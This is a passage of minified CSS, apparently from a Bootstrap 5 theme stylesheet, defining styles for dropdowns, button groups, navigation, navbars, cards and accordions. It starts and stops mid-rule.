(prefers-reduced-motion:reduce){.fade{transition:none}}.fade:not(.show){opacity:0}.collapse:not(.show){display:none}.collapsing{height:0;overflow:hidden;transition:height .35s ease}@media (prefers-reduced-motion:reduce){.collapsing{transition:none}}.collapsing.collapse-horizontal{width:0;height:auto;transition:width .35s ease}@media (prefers-reduced-motion:reduce){.collapsing.collapse-horizontal{transition:none}}.dropdown,.dropdown-center,.dropend,.dropstart,.dropup,.dropup-center{position:relative}.dropdown-toggle{white-space:nowrap}.dropdown-toggle::after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:"";border-top:.3em solid;border-right:.3em solid transparent;border-bottom:0;border-left:.3em solid transparent}.dropdown-toggle:empty::after{margin-left:0}.dropdown-menu{--bs-dropdown-zindex:1000;--bs-dropdown-min-width:10rem;--bs-dropdown-padding-x:0;--bs-dropdown-padding-y:0.5rem;--bs-dropdown-spacer:0.125rem;--bs-dropdown-font-size:0.875rem;--bs-dropdown-color:var(--bs-body-color);--bs-dropdown-bg:var(--bs-body-bg);--bs-dropdown-border-color:#dee2e6;--bs-dropdown-border-radius:var(--bs-border-radius);--bs-dropdown-border-width:var(--bs-border-width);--bs-dropdown-inner-border-radius:calc(var(--bs-border-radius) - var(--bs-border-width));--bs-dropdown-divider-bg:#e9ecef;--bs-dropdown-divider-margin-y:0.5rem;--bs-dropdown-box-shadow:var(--bs-box-shadow);--bs-dropdown-link-color:var(--bs-body-color);--bs-dropdown-link-hover-color:#fff;--bs-dropdown-link-hover-bg:#3459e6;--bs-dropdown-link-active-color:#fff;--bs-dropdown-link-active-bg:#3459e6;--bs-dropdown-link-disabled-color:var(--bs-tertiary-color);--bs-dropdown-item-padding-x:1rem;--bs-dropdown-item-padding-y:0.5rem;--bs-dropdown-header-color:#6c757d;--bs-dropdown-header-padding-x:1rem;--bs-dropdown-header-padding-y:0.5rem;position:absolute;z-index:var(--bs-dropdown-zindex);display:none;min-width:var(--bs-dropdown-min-width);padding:var(--bs-dropdown-padding-y) var(--bs-dropdown-padding-x);margin:0;font-size:var(--bs-dropdown-font-size);color:var(--bs-dropdown-color);text-align:left;list-style:none;background-color:var(--bs-dropdown-bg);background-clip:padding-box;border:var(--bs-dropdown-border-width) solid var(--bs-dropdown-border-color);border-radius:var(--bs-dropdown-border-radius);box-shadow:var(--bs-dropdown-box-shadow)}.dropdown-menu[data-bs-popper]{top:100%;left:0;margin-top:var(--bs-dropdown-spacer)}.dropdown-menu-start{--bs-position:start}.dropdown-menu-start[data-bs-popper]{right:auto;left:0}.dropdown-menu-end{--bs-position:end}.dropdown-menu-end[data-bs-popper]{right:0;left:auto}@media (min-width:576px){.dropdown-menu-sm-start{--bs-position:start}.dropdown-menu-sm-start[data-bs-popper]{right:auto;left:0}.dropdown-menu-sm-end{--bs-position:end}.dropdown-menu-sm-end[data-bs-popper]{right:0;left:auto}}@media (min-width:768px){.dropdown-menu-md-start{--bs-position:start}.dropdown-menu-md-start[data-bs-popper]{right:auto;left:0}.dropdown-menu-md-end{--bs-position:end}.dropdown-menu-md-end[data-bs-popper]{right:0;left:auto}}@media (min-width:992px){.dropdown-menu-lg-start{--bs-position:start}.dropdown-menu-lg-start[data-bs-popper]{right:auto;left:0}.dropdown-menu-lg-end{--bs-position:end}.dropdown-menu-lg-end[data-bs-popper]{right:0;left:auto}}@media (min-width:1200px){.dropdown-menu-xl-start{--bs-position:start}.dropdown-menu-xl-start[data-bs-popper]{right:auto;left:0}.dropdown-menu-xl-end{--bs-position:end}.dropdown-menu-xl-end[data-bs-popper]{right:0;left:auto}}@media (min-width:1400px){.dropdown-menu-xxl-start{--bs-position:start}.dropdown-menu-xxl-start[data-bs-popper]{right:auto;left:0}.dropdown-menu-xxl-end{--bs-position:end}.dropdown-menu-xxl-end[data-bs-popper]{right:0;left:auto}}.dropup .dropdown-menu[data-bs-popper]{top:auto;bottom:100%;margin-top:0;margin-bottom:var(--bs-dropdown-spacer)}.dropup .dropdown-toggle::after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:"";border-top:0;border-right:.3em solid transparent;border-bottom:.3em solid;border-left:.3em solid transparent}.dropup .dropdown-toggle:empty::after{margin-left:0}.dropend .dropdown-menu[data-bs-popper]{top:0;right:auto;left:100%;margin-top:0;margin-left:var(--bs-dropdown-spacer)}.dropend .dropdown-toggle::after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:"";border-top:.3em solid transparent;border-right:0;border-bottom:.3em solid transparent;border-left:.3em solid}.dropend .dropdown-toggle:empty::after{margin-left:0}.dropend .dropdown-toggle::after{vertical-align:0}.dropstart .dropdown-menu[data-bs-popper]{top:0;right:100%;left:auto;margin-top:0;margin-right:var(--bs-dropdown-spacer)}.dropstart .dropdown-toggle::after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:""}.dropstart .dropdown-toggle::after{display:none}.dropstart .dropdown-toggle::before{display:inline-block;margin-right:.255em;vertical-align:.255em;content:"";border-top:.3em solid transparent;border-right:.3em solid;border-bottom:.3em solid transparent}.dropstart .dropdown-toggle:empty::after{margin-left:0}.dropstart .dropdown-toggle::before{vertical-align:0}.dropdown-divider{height:0;margin:var(--bs-dropdown-divider-margin-y) 0;overflow:hidden;border-top:1px solid var(--bs-dropdown-divider-bg);opacity:1}.dropdown-item{display:block;width:100%;padding:var(--bs-dropdown-item-padding-y) var(--bs-dropdown-item-padding-x);clear:both;font-weight:400;color:var(--bs-dropdown-link-color);text-align:inherit;text-decoration:none;white-space:nowrap;background-color:transparent;border:0;border-radius:var(--bs-dropdown-item-border-radius,0)}.dropdown-item:focus,.dropdown-item:hover{color:var(--bs-dropdown-link-hover-color);background-color:var(--bs-dropdown-link-hover-bg)}.dropdown-item.active,.dropdown-item:active{color:var(--bs-dropdown-link-active-color);text-decoration:none;background-color:var(--bs-dropdown-link-active-bg)}.dropdown-item.disabled,.dropdown-item:disabled{color:var(--bs-dropdown-link-disabled-color);pointer-events:none;background-color:transparent}.dropdown-menu.show{display:block}.dropdown-header{display:block;padding:var(--bs-dropdown-header-padding-y) var(--bs-dropdown-header-padding-x);margin-bottom:0;font-size:.875rem;color:var(--bs-dropdown-header-color);white-space:nowrap}.dropdown-item-text{display:block;padding:var(--bs-dropdown-item-padding-y) var(--bs-dropdown-item-padding-x);color:var(--bs-dropdown-link-color)}.dropdown-menu-dark{--bs-dropdown-color:#dee2e6;--bs-dropdown-bg:#343a40;--bs-dropdown-border-color:#dee2e6;--bs-dropdown-box-shadow: ;--bs-dropdown-link-color:#dee2e6;--bs-dropdown-link-hover-color:#fff;--bs-dropdown-divider-bg:#e9ecef;--bs-dropdown-link-hover-bg:rgba(255, 255, 255, 0.15);--bs-dropdown-link-active-color:#fff;--bs-dropdown-link-active-bg:#3459e6;--bs-dropdown-link-disabled-color:#adb5bd;--bs-dropdown-header-color:#adb5bd}.btn-group,.btn-group-vertical{position:relative;display:inline-flex;vertical-align:middle}.btn-group-vertical>.btn,.btn-group>.btn{position:relative;flex:1 1 auto}.btn-group-vertical>.btn-check:checked+.btn,.btn-group-vertical>.btn-check:focus+.btn,.btn-group-vertical>.btn.active,.btn-group-vertical>.btn:active,.btn-group-vertical>.btn:focus,.btn-group-vertical>.btn:hover,.btn-group>.btn-check:checked+.btn,.btn-group>.btn-check:focus+.btn,.btn-group>.btn.active,.btn-group>.btn:active,.btn-group>.btn:focus,.btn-group>.btn:hover{z-index:1}.btn-toolbar{display:flex;flex-wrap:wrap;justify-content:flex-start}.btn-toolbar .input-group{width:auto}.btn-group{border-radius:var(--bs-border-radius)}.btn-group>.btn-group:not(:first-child),.btn-group>:not(.btn-check:first-child)+.btn{margin-left:calc(var(--bs-border-width) * -1)}.btn-group>.btn-group:not(:last-child)>.btn,.btn-group>.btn.dropdown-toggle-split:first-child,.btn-group>.btn:not(:last-child):not(.dropdown-toggle){border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.btn-group:not(:first-child)>.btn,.btn-group>.btn:nth-child(n+3),.btn-group>:not(.btn-check)+.btn{border-top-left-radius:0;border-bottom-left-radius:0}.dropdown-toggle-split{padding-right:.75rem;padding-left:.75rem}.dropdown-toggle-split::after,.dropend .dropdown-toggle-split::after,.dropup .dropdown-toggle-split::after{margin-left:0}.dropstart .dropdown-toggle-split::before{margin-right:0}.btn-group-sm>.btn+.dropdown-toggle-split,.btn-sm+.dropdown-toggle-split{padding-right:.375rem;padding-left:.375rem}.btn-group-lg>.btn+.dropdown-toggle-split,.btn-lg+.dropdown-toggle-split{padding-right:.75rem;padding-left:.75rem}.btn-group.show .dropdown-toggle{box-shadow:0 1px 2px rgba(0,0,0,.05)}.btn-group.show .dropdown-toggle.btn-link{box-shadow:none}.btn-group-vertical{flex-direction:column;align-items:flex-start;justify-content:center}.btn-group-vertical>.btn,.btn-group-vertical>.btn-group{width:100%}.btn-group-vertical>.btn-group:not(:first-child),.btn-group-vertical>.btn:not(:first-child){margin-top:calc(var(--bs-border-width) * -1)}.btn-group-vertical>.btn-group:not(:last-child)>.btn,.btn-group-vertical>.btn:not(:last-child):not(.dropdown-toggle){border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn-group:not(:first-child)>.btn,.btn-group-vertical>.btn~.btn{border-top-left-radius:0;border-top-right-radius:0}.nav{--bs-nav-link-padding-x:1rem;--bs-nav-link-padding-y:0.5rem;--bs-nav-link-font-weight: ;--bs-nav-link-color:#495057;--bs-nav-link-hover-color:#495057;--bs-nav-link-disabled-color:var(--bs-secondary-color);display:flex;flex-wrap:wrap;padding-left:0;margin-bottom:0;list-style:none}.nav-link{display:block;padding:var(--bs-nav-link-padding-y) var(--bs-nav-link-padding-x);font-size:var(--bs-nav-link-font-size);font-weight:var(--bs-nav-link-font-weight);color:var(--bs-nav-link-color);text-decoration:none;background:0 0;border:0;transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out}@media (prefers-reduced-motion:reduce){.nav-link{transition:none}}.nav-link:focus,.nav-link:hover{color:var(--bs-nav-link-hover-color)}.nav-link:focus-visible{outline:0;box-shadow:0 0 0 .25rem rgba(52,89,230,.25)}.nav-link.disabled,.nav-link:disabled{color:var(--bs-nav-link-disabled-color);pointer-events:none;cursor:default}.nav-tabs{--bs-nav-tabs-border-width:var(--bs-border-width);--bs-nav-tabs-border-color:var(--bs-border-color);--bs-nav-tabs-border-radius:0;--bs-nav-tabs-link-hover-border-color:var(--bs-secondary-bg) var(--bs-secondary-bg) var(--bs-border-color);--bs-nav-tabs-link-active-color:#3459e6;--bs-nav-tabs-link-active-bg:var(--bs-body-bg);--bs-nav-tabs-link-active-border-color:var(--bs-border-color) var(--bs-border-color) var(--bs-body-bg);border-bottom:var(--bs-nav-tabs-border-width) solid var(--bs-nav-tabs-border-color)}.nav-tabs .nav-link{margin-bottom:calc(-1 * var(--bs-nav-tabs-border-width));border:var(--bs-nav-tabs-border-width) solid transparent;border-top-left-radius:var(--bs-nav-tabs-border-radius);border-top-right-radius:var(--bs-nav-tabs-border-radius)}.nav-tabs .nav-link:focus,.nav-tabs .nav-link:hover{isolation:isolate;border-color:var(--bs-nav-tabs-link-hover-border-color)}.nav-tabs .nav-item.show .nav-link,.nav-tabs .nav-link.active{color:var(--bs-nav-tabs-link-active-color);background-color:var(--bs-nav-tabs-link-active-bg);border-color:var(--bs-nav-tabs-link-active-border-color)}.nav-tabs .dropdown-menu{margin-top:calc(-1 * var(--bs-nav-tabs-border-width));border-top-left-radius:0;border-top-right-radius:0}.nav-pills{--bs-nav-pills-border-radius:var(--bs-border-radius);--bs-nav-pills-link-active-color:#fff;--bs-nav-pills-link-active-bg:#3459e6}.nav-pills .nav-link{border-radius:var(--bs-nav-pills-border-radius)}.nav-pills .nav-link.active,.nav-pills .show>.nav-link{color:var(--bs-nav-pills-link-active-color);background-color:var(--bs-nav-pills-link-active-bg)}.nav-underline{--bs-nav-underline-gap:1rem;--bs-nav-underline-border-width:0.125rem;--bs-nav-underline-link-active-color:var(--bs-emphasis-color);gap:var(--bs-nav-underline-gap)}.nav-underline .nav-link{padding-right:0;padding-left:0;border-bottom:var(--bs-nav-underline-border-width) solid transparent}.nav-underline .nav-link:focus,.nav-underline .nav-link:hover{border-bottom-color:currentcolor}.nav-underline .nav-link.active,.nav-underline .show>.nav-link{font-weight:700;color:var(--bs-nav-underline-link-active-color);border-bottom-color:currentcolor}.nav-fill .nav-item,.nav-fill>.nav-link{flex:1 1 auto;text-align:center}.nav-justified .nav-item,.nav-justified>.nav-link{flex-basis:0;flex-grow:1;text-align:center}.nav-fill .nav-item .nav-link,.nav-justified .nav-item .nav-link{width:100%}.tab-content>.tab-pane{display:none}.tab-content>.active{display:block}.navbar{--bs-navbar-padding-x:0;--bs-navbar-padding-y:0.85rem;--bs-navbar-color:rgba(var(--bs-emphasis-color-rgb), 0.65);--bs-navbar-hover-color:rgba(var(--bs-emphasis-color-rgb), 0.8);--bs-navbar-disabled-color:rgba(var(--bs-emphasis-color-rgb), 0.3);--bs-navbar-active-color:rgba(var(--bs-emphasis-color-rgb), 1);--bs-navbar-brand-padding-y:0.3125rem;--bs-navbar-brand-margin-end:1rem;--bs-navbar-brand-font-size:1.25rem;--bs-navbar-brand-color:rgba(var(--bs-emphasis-color-rgb), 1);--bs-navbar-brand-hover-color:rgba(var(--bs-emphasis-color-rgb), 1);--bs-navbar-nav-link-padding-x:0.75rem;--bs-navbar-toggler-padding-y:0.25rem;--bs-navbar-toggler-padding-x:0.75rem;--bs-navbar-toggler-font-size:1.25rem;--bs-navbar-toggler-icon-bg:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 30 30'%3e%3cpath stroke='rgba%2873, 80, 87, 0.75%29' stroke-linecap='round' stroke-miterlimit='10' stroke-width='2' d='M4 7h22M4 15h22M4 23h22'/%3e%3c/svg%3e");--bs-navbar-toggler-border-color:rgba(var(--bs-emphasis-color-rgb), 0.15);--bs-navbar-toggler-border-radius:var(--bs-border-radius);--bs-navbar-toggler-focus-width:0.25rem;--bs-navbar-toggler-transition:box-shadow 0.15s ease-in-out;position:relative;display:flex;flex-wrap:wrap;align-items:center;justify-content:space-between;padding:var(--bs-navbar-padding-y) var(--bs-navbar-padding-x)}.navbar>.container,.navbar>.container-fluid,.navbar>.container-lg,.navbar>.container-md,.navbar>.container-sm,.navbar>.container-xl,.navbar>.container-xxl{display:flex;flex-wrap:inherit;align-items:center;justify-content:space-between}.navbar-brand{padding-top:var(--bs-navbar-brand-padding-y);padding-bottom:var(--bs-navbar-brand-padding-y);margin-right:var(--bs-navbar-brand-margin-end);font-size:var(--bs-navbar-brand-font-size);color:var(--bs-navbar-brand-color);text-decoration:none;white-space:nowrap}.navbar-brand:focus,.navbar-brand:hover{color:var(--bs-navbar-brand-hover-color)}.navbar-nav{--bs-nav-link-padding-x:0;--bs-nav-link-padding-y:0.5rem;--bs-nav-link-font-weight: ;--bs-nav-link-color:var(--bs-navbar-color);--bs-nav-link-hover-color:var(--bs-navbar-hover-color);--bs-nav-link-disabled-color:var(--bs-navbar-disabled-color);display:flex;flex-direction:column;padding-left:0;margin-bottom:0;list-style:none}.navbar-nav .nav-link.active,.navbar-nav .nav-link.show{color:var(--bs-navbar-active-color)}.navbar-nav .dropdown-menu{position:static}.navbar-text{padding-top:.5rem;padding-bottom:.5rem;color:var(--bs-navbar-color)}.navbar-text a,.navbar-text a:focus,.navbar-text a:hover{color:var(--bs-navbar-active-color)}.navbar-collapse{flex-basis:100%;flex-grow:1;align-items:center}.navbar-toggler{padding:var(--bs-navbar-toggler-padding-y) var(--bs-navbar-toggler-padding-x);font-size:var(--bs-navbar-toggler-font-size);line-height:1;color:var(--bs-navbar-color);background-color:transparent;border:var(--bs-border-width) solid var(--bs-navbar-toggler-border-color);border-radius:var(--bs-navbar-toggler-border-radius);transition:var(--bs-navbar-toggler-transition)}@media (prefers-reduced-motion:reduce){.navbar-toggler{transition:none}}.navbar-toggler:hover{text-decoration:none}.navbar-toggler:focus{text-decoration:none;outline:0;box-shadow:0 0 0 var(--bs-navbar-toggler-focus-width)}.navbar-toggler-icon{display:inline-block;width:1.5em;height:1.5em;vertical-align:middle;background-image:var(--bs-navbar-toggler-icon-bg);background-repeat:no-repeat;background-position:center;background-size:100%}.navbar-nav-scroll{max-height:var(--bs-scroll-height,75vh);overflow-y:auto}@media (min-width:576px){.navbar-expand-sm{flex-wrap:nowrap;justify-content:flex-start}.navbar-expand-sm .navbar-nav{flex-direction:row}.navbar-expand-sm .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-sm .navbar-nav .nav-link{padding-right:var(--bs-navbar-nav-link-padding-x);padding-left:var(--bs-navbar-nav-link-padding-x)}.navbar-expand-sm .navbar-nav-scroll{overflow:visible}.navbar-expand-sm .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand-sm .navbar-toggler{display:none}.navbar-expand-sm .offcanvas{position:static;z-index:auto;flex-grow:1;width:auto!important;height:auto!important;visibility:visible!important;background-color:transparent!important;border:0!important;transform:none!important;box-shadow:none;transition:none}.navbar-expand-sm .offcanvas .offcanvas-header{display:none}.navbar-expand-sm .offcanvas .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible}}@media (min-width:768px){.navbar-expand-md{flex-wrap:nowrap;justify-content:flex-start}.navbar-expand-md .navbar-nav{flex-direction:row}.navbar-expand-md .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-md .navbar-nav .nav-link{padding-right:var(--bs-navbar-nav-link-padding-x);padding-left:var(--bs-navbar-nav-link-padding-x)}.navbar-expand-md .navbar-nav-scroll{overflow:visible}.navbar-expand-md .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand-md .navbar-toggler{display:none}.navbar-expand-md .offcanvas{position:static;z-index:auto;flex-grow:1;width:auto!important;height:auto!important;visibility:visible!important;background-color:transparent!important;border:0!important;transform:none!important;box-shadow:none;transition:none}.navbar-expand-md .offcanvas .offcanvas-header{display:none}.navbar-expand-md .offcanvas .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible}}@media (min-width:992px){.navbar-expand-lg{flex-wrap:nowrap;justify-content:flex-start}.navbar-expand-lg .navbar-nav{flex-direction:row}.navbar-expand-lg .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-lg .navbar-nav .nav-link{padding-right:var(--bs-navbar-nav-link-padding-x);padding-left:var(--bs-navbar-nav-link-padding-x)}.navbar-expand-lg .navbar-nav-scroll{overflow:visible}.navbar-expand-lg .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand-lg .navbar-toggler{display:none}.navbar-expand-lg .offcanvas{position:static;z-index:auto;flex-grow:1;width:auto!important;height:auto!important;visibility:visible!important;background-color:transparent!important;border:0!important;transform:none!important;box-shadow:none;transition:none}.navbar-expand-lg .offcanvas .offcanvas-header{display:none}.navbar-expand-lg .offcanvas .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible}}@media (min-width:1200px){.navbar-expand-xl{flex-wrap:nowrap;justify-content:flex-start}.navbar-expand-xl .navbar-nav{flex-direction:row}.navbar-expand-xl .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-xl .navbar-nav .nav-link{padding-right:var(--bs-navbar-nav-link-padding-x);padding-left:var(--bs-navbar-nav-link-padding-x)}.navbar-expand-xl .navbar-nav-scroll{overflow:visible}.navbar-expand-xl .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand-xl .navbar-toggler{display:none}.navbar-expand-xl .offcanvas{position:static;z-index:auto;flex-grow:1;width:auto!important;height:auto!important;visibility:visible!important;background-color:transparent!important;border:0!important;transform:none!important;box-shadow:none;transition:none}.navbar-expand-xl .offcanvas .offcanvas-header{display:none}.navbar-expand-xl .offcanvas .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible}}@media (min-width:1400px){.navbar-expand-xxl{flex-wrap:nowrap;justify-content:flex-start}.navbar-expand-xxl .navbar-nav{flex-direction:row}.navbar-expand-xxl .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-xxl .navbar-nav .nav-link{padding-right:var(--bs-navbar-nav-link-padding-x);padding-left:var(--bs-navbar-nav-link-padding-x)}.navbar-expand-xxl .navbar-nav-scroll{overflow:visible}.navbar-expand-xxl .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand-xxl .navbar-toggler{display:none}.navbar-expand-xxl .offcanvas{position:static;z-index:auto;flex-grow:1;width:auto!important;height:auto!important;visibility:visible!important;background-color:transparent!important;border:0!important;transform:none!important;box-shadow:none;transition:none}.navbar-expand-xxl .offcanvas .offcanvas-header{display:none}.navbar-expand-xxl .offcanvas .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible}}.navbar-expand{flex-wrap:nowrap;justify-content:flex-start}.navbar-expand .navbar-nav{flex-direction:row}.navbar-expand .navbar-nav .dropdown-menu{position:absolute}.navbar-expand .navbar-nav .nav-link{padding-right:var(--bs-navbar-nav-link-padding-x);padding-left:var(--bs-navbar-nav-link-padding-x)}.navbar-expand .navbar-nav-scroll{overflow:visible}.navbar-expand .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand .navbar-toggler{display:none}.navbar-expand .offcanvas{position:static;z-index:auto;flex-grow:1;width:auto!important;height:auto!important;visibility:visible!important;background-color:transparent!important;border:0!important;transform:none!important;box-shadow:none;transition:none}.navbar-expand .offcanvas .offcanvas-header{display:none}.navbar-expand .offcanvas .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible}.navbar-dark,.navbar[data-bs-theme=dark]{--bs-navbar-color:rgba(255, 255, 255, 0.55);--bs-navbar-hover-color:rgba(255, 255, 255, 0.75);--bs-navbar-disabled-color:rgba(255, 255, 255, 0.25);--bs-navbar-active-color:#fff;--bs-navbar-brand-color:#fff;--bs-navbar-brand-hover-color:#fff;--bs-navbar-toggler-border-color:rgba(255, 255, 255, 0.1);--bs-navbar-toggler-icon-bg:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 30 30'%3e%3cpath stroke='rgba%28255, 255, 255, 0.55%29' stroke-linecap='round' stroke-miterlimit='10' stroke-width='2' d='M4 7h22M4 15h22M4 23h22'/%3e%3c/svg%3e")}[data-bs-theme=dark] .navbar-toggler-icon{--bs-navbar-toggler-icon-bg:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 30 30'%3e%3cpath stroke='rgba%28255, 255, 255, 0.55%29' stroke-linecap='round' stroke-miterlimit='10' stroke-width='2' d='M4 7h22M4 15h22M4 23h22'/%3e%3c/svg%3e")}.card{--bs-card-spacer-y:1rem;--bs-card-spacer-x:1.5rem;--bs-card-title-spacer-y:0.5rem;--bs-card-title-color: ;--bs-card-subtitle-color: ;--bs-card-border-width:var(--bs-border-width);--bs-card-border-color:var(--bs-border-color-translucent);--bs-card-border-radius:var(--bs-border-radius);--bs-card-box-shadow: ;--bs-card-inner-border-radius:calc(var(--bs-border-radius) - (var(--bs-border-width)));--bs-card-cap-padding-y:1rem;--bs-card-cap-padding-x:1.5rem;--bs-card-cap-bg:rgba(var(--bs-body-color-rgb), 0.03);--bs-card-cap-color: ;--bs-card-height: ;--bs-card-color: ;--bs-card-bg:var(--bs-body-bg);--bs-card-img-overlay-padding:1rem;--bs-card-group-margin:0.75rem;position:relative;display:flex;flex-direction:column;min-width:0;height:var(--bs-card-height);color:var(--bs-body-color);word-wrap:break-word;background-color:var(--bs-card-bg);background-clip:border-box;border:var(--bs-card-border-width) solid var(--bs-card-border-color);border-radius:var(--bs-card-border-radius);box-shadow:var(--bs-card-box-shadow)}.card>hr{margin-right:0;margin-left:0}.card>.list-group{border-top:inherit;border-bottom:inherit}.card>.list-group:first-child{border-top-width:0;border-top-left-radius:var(--bs-card-inner-border-radius);border-top-right-radius:var(--bs-card-inner-border-radius)}.card>.list-group:last-child{border-bottom-width:0;border-bottom-right-radius:var(--bs-card-inner-border-radius);border-bottom-left-radius:var(--bs-card-inner-border-radius)}.card>.card-header+.list-group,.card>.list-group+.card-footer{border-top:0}.card-body{flex:1 1 auto;padding:var(--bs-card-spacer-y) var(--bs-card-spacer-x);color:var(--bs-card-color)}.card-title{margin-bottom:var(--bs-card-title-spacer-y);color:var(--bs-card-title-color)}.card-subtitle{margin-top:calc(-.5 * var(--bs-card-title-spacer-y));margin-bottom:0;color:var(--bs-card-subtitle-color)}.card-text:last-child{margin-bottom:0}.card-link+.card-link{margin-left:var(--bs-card-spacer-x)}.card-header{padding:var(--bs-card-cap-padding-y) var(--bs-card-cap-padding-x);margin-bottom:0;color:var(--bs-card-cap-color);background-color:var(--bs-card-cap-bg);border-bottom:var(--bs-card-border-width) solid var(--bs-card-border-color)}.card-header:first-child{border-radius:var(--bs-card-inner-border-radius) var(--bs-card-inner-border-radius) 0 0}.card-footer{padding:var(--bs-card-cap-padding-y) var(--bs-card-cap-padding-x);color:var(--bs-card-cap-color);background-color:var(--bs-card-cap-bg);border-top:var(--bs-card-border-width) solid var(--bs-card-border-color)}.card-footer:last-child{border-radius:0 0 var(--bs-card-inner-border-radius) var(--bs-card-inner-border-radius)}.card-header-tabs{margin-right:calc(-.5 * var(--bs-card-cap-padding-x));margin-bottom:calc(-1 * var(--bs-card-cap-padding-y));margin-left:calc(-.5 * var(--bs-card-cap-padding-x));border-bottom:0}.card-header-tabs .nav-link.active{background-color:var(--bs-card-bg);border-bottom-color:var(--bs-card-bg)}.card-header-pills{margin-right:calc(-.5 * var(--bs-card-cap-padding-x));margin-left:calc(-.5 * var(--bs-card-cap-padding-x))}.card-img-overlay{position:absolute;top:0;right:0;bottom:0;left:0;padding:var(--bs-card-img-overlay-padding);border-radius:var(--bs-card-inner-border-radius)}.card-img,.card-img-bottom,.card-img-top{width:100%}.card-img,.card-img-top{border-top-left-radius:var(--bs-card-inner-border-radius);border-top-right-radius:var(--bs-card-inner-border-radius)}.card-img,.card-img-bottom{border-bottom-right-radius:var(--bs-card-inner-border-radius);border-bottom-left-radius:var(--bs-card-inner-border-radius)}.card-group>.card{margin-bottom:var(--bs-card-group-margin)}@media (min-width:576px){.card-group{display:flex;flex-flow:row wrap}.card-group>.card{flex:1 0 0%;margin-bottom:0}.card-group>.card+.card{margin-left:0;border-left:0}.card-group>.card:not(:last-child){border-top-right-radius:0;border-bottom-right-radius:0}.card-group>.card:not(:last-child) .card-header,.card-group>.card:not(:last-child) .card-img-top{border-top-right-radius:0}.card-group>.card:not(:last-child) .card-footer,.card-group>.card:not(:last-child) .card-img-bottom{border-bottom-right-radius:0}.card-group>.card:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.card-group>.card:not(:first-child) .card-header,.card-group>.card:not(:first-child) .card-img-top{border-top-left-radius:0}.card-group>.card:not(:first-child) .card-footer,.card-group>.card:not(:first-child) .card-img-bottom{border-bottom-left-radius:0}}.accordion{--bs-accordion-color:var(--bs-body-color);--bs-accordion-bg:var(--bs-body-bg);--bs-accordion-transition:color 0.15s ease-in-out,background-color 0.15s ease-in-out,border-color 0.15s ease-in-out,box-shadow 0.15s ease-in-out,border-radius 0.15s ease;--bs-accordion-border-color:var(--bs-border-color);--bs-accordion-border-width:var(--bs-border-width);--bs-accordion-border-radius:var(--bs-border-radius);--bs-accordion-inner-border-radius:calc(var(--bs-border-radius) - (var(--bs-border-width)));--bs-accordion-btn-padding-x:1.25rem;--bs-accordion-btn-padding-y:1rem;--bs-accordion-btn-color:var(--bs-body-color);--bs-accordion-btn-bg:var(--bs-accordion-bg);--bs-accordion-btn-icon:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' fill='none' stroke='%23495057' stroke-linecap='round' stroke-linejoin='round'%3e%3cpath d='M2 5L8 11L14 5'/%3e%3c/svg%3e");--bs-accordion-btn-icon-width:1.25rem;--bs-accordion-btn-icon-transform:rotate(-180deg);--bs-accordion-btn-icon-transition:transform 0.2s ease-in-out;--bs-accordion-btn-active-icon:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' fill='none' stroke='%2315245c' stroke-linecap='round' stroke-linejoin='round'%3e%3cpath d='M2 5L8 11L14 5'/%3e%3c/svg%3e");--bs-accordion-btn-focus-box-shadow:0 1px 2px rgba(0, 0, 0, 0.05);--bs-accordion-body-padding-x:1.25rem;--bs-accordion-body-padding-y:1rem;--bs-accordion-active-color:var(--bs-primary-text-emphasis);--bs-accordion-active-bg:var(--bs-primary-bg-subtle)}.accordion-button{position:relative;display:flex;align-items:center;width:100%;padding:var(--bs-accordion-btn-padding-y) var(--bs-accordion-btn-padding-x);font-size:1rem;color:var(--bs-accordion-btn-color);text-align:left;background-color:var(--bs-accordion-btn-bg);border:0;border-radius:0;overflow-anchor:none;transition:var(--bs-accordion-transition)}@media (prefers-reduced-motion:reduce){.accordion-button{transition:none}}.accordion-button:not(.collapsed){color:var(--bs-accordion-active-color);background-color:var(--bs-accordion-active-bg);box-shadow:inset 0 calc(-1 * var(--bs-accordion-border-width)) 0 var(--bs-accordion-border-color)}.accordion-button:not(.collapsed)::after{background-image:var(--bs-accordion-btn-active-icon);transform:var(--bs-accordion-btn-icon-transform)}.accordion-button::after{flex-shrink:0;width:var(--bs-accordion-btn-icon-width);height:var(--bs-accordion-btn-icon-width);margin-left:auto;content:"";background-image:var(--bs-accordion-btn-icon);background-repeat:no-repeat;background-size:var(--bs-accordion-btn-icon-width);transition:var(--bs-accordion-btn-icon-transition)}@media 